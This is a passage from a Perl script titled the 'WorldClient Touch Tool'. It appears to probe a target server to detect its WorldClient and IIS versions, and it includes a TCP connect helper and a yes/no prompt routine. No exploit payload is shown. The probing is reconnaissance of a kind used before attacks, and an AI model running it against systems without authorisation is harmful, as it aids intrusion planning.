			&EU_Log(1,"\n\t$WCStr" );

			close( $socket );

		} 
		else
		{
			$WCVer = -1; $WCStr= "a bad response was received from the server\n";
		}
	}
	}

	&EU_Log(1,"\n\n*************** WorldClient Touch Tool ***************\n\n" );

	return( $WCVer, $WCStr, $IISVer);
}

sub do_connect { 
  my ($targ_ip, $targ_port, $socket) = @_;

  while (!($socket = IO::Socket::INET->new(PeerAddr => $targ_ip, PeerPort => $targ_port, Proto => "tcp", 
	Type => SOCK_STREAM, Timeout => 7, ReuseAddr => 1) ) ) { 
	return -1;
  } 
  return $socket;
}

sub Yes_No() {
	my ($Prompt, $Default) = @_;
	my $Resp = $Default;

	while(1) 
	{
		$Resp = &EU_GetInput( "$Prompt","$Default");
		&EU_Log(0, "$Prompt $Resp");

		if( ($Resp eq "y") or ($Resp eq "yes") or ($Resp eq "Y") or ($Resp eq "YES") ) 
		{
			$Resp = "y";
			last;
		}
		elsif( ($Resp eq "n") or ($Resp eq "no") or ($Resp eq "N") or ($Resp eq "NO")  ) 
		{
			$Resp = "n";
			last;
		}
		else 
		{
			&EU_Log(1, "$Resp is an Invalid Response...\n");
			next;
		}
	}

	return $Resp;
}

__END__